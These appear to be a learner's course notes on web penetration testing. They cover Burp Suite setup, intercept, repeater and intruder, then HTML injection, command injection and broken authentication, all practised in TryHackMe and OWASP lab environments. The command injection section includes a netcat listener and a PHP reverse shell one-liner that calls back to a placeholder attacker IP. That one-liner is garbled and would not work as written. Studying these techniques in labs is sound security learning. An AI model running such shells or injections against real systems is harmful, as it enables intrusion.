Section 4 - Introduction to burpsuite

1.Burpsuite configuration

* Testing of web apps.
* "burpsuite" command will open burpsuite.
* Config: Go to proxy -> Turn off Intercept -> navigate to options

-> 127.0.0.1:8080 and running -> go to web browser network setting and

applying manual proxy and put 127.0.0.1:8080 .

* To visit https webpages download burp certificatefrom <http://burp> in firefox and import it.

2.Burpsuite Intercept

* Burpsuite intercept option intercepts every traffic coming and going from the system.
* We have the option to forward, drop, perform any action on the requests.

3.Burpsuite Repeater

* Burpsuite repeater gives us the option to change parameter in the web request and repeat the

Requests.

4.Burpsuite Intruder

* Send any post request to Burpsuite intruder for bruteforce attacks.
* We can add the wordlist for the attacks or use manual keywords.

Section 5 - HTML Injection

1.HTML injection Theory

* A web page is vulnerable to HTML injection when the html tags are interpreted in the fields of the web page.

2.HTML injection 1 on try hack me

* Practicing HTML injection on Try hack me.
* Use a VPN server.

3.HTML injection 2 - Injecting user agent headers

* Go to OWASPBWA virtual machine and open OWASP multidae II and in 2013 go to html injection -> browser info. And try adding html codes in headers.

4.Injecting cookie field and redirecting the page

* Go to OWASPBWA virtual machine and open OWASP multidae II and in 2013 go to html injection -> cookie injection. And try adding code in the cookie field.

5.Advance Example of Html injection

* Go to OWASPBWA virtual machine and open OWASP multidae II and in 2013 go to html injection ->Try hose back buttons. And try adding code in the fields by closing the previous tags.

Section 6 - Command Injection / Execution

1.Command Injection Theory

* Command Injection:

It is a web vulnerability that allows an attacker to execute operating system command on the server that is running the application.

* It allows the attacker to fully compromise the application and all of its data.
* It allows to execute system command on the server ,which could also mean that we can see the files, check out the password folders, delete files and perhaps even set a reverse shell connection.

2.Command Injection On TryHackMe and Blind Command Injection

* Command injection is a serious vulnerability.
* Once its discovered, it allows the attacker to fully compromise the application and all of its data.

3.Solving Challenges With Command Injection

* Use && to concatenate 2 commands.
* It can be used to compromise other parts of the hosts infrastructure.

4.Running PHP Reverse Shell With Command Execution Vulnerability

* "nc -lvp" command to open port in the linux system and to listen on that port.
* Shell reverse command is used to connect target system with attacking system.
* Example : "php -r '$sock = $sockopen("<IP address>",<port>); exec("/bin/bash -I <&3 >& 3 2 & 3");

5.Bypassing Input Filter And Executing Command

* Use command injection in a field which filters the field by bruteforcing many methods.
* It can be used to pivot the attack the other systems within the organisation.

Section 7 - Broken authentication

1.Broken authentication theory

* It is the most common attacks and vulnerabilities in past years now.
* It usually happens in sessions.
* Sessions: It is a sequence of network transactions o network requests associated to the same user for a certain period of time.

2.Broken Authentication On TryHackMe

* Broken authentication is practised on try hack me website.

3.Broken Authentication Via Cookie

* In burpsuite we can change the user id to change the sessions according to another user on a vunerable website.

4.Basic Authorization in HTTP Request

* It is another attack on the broken authentication and this one will be aimed at authorization.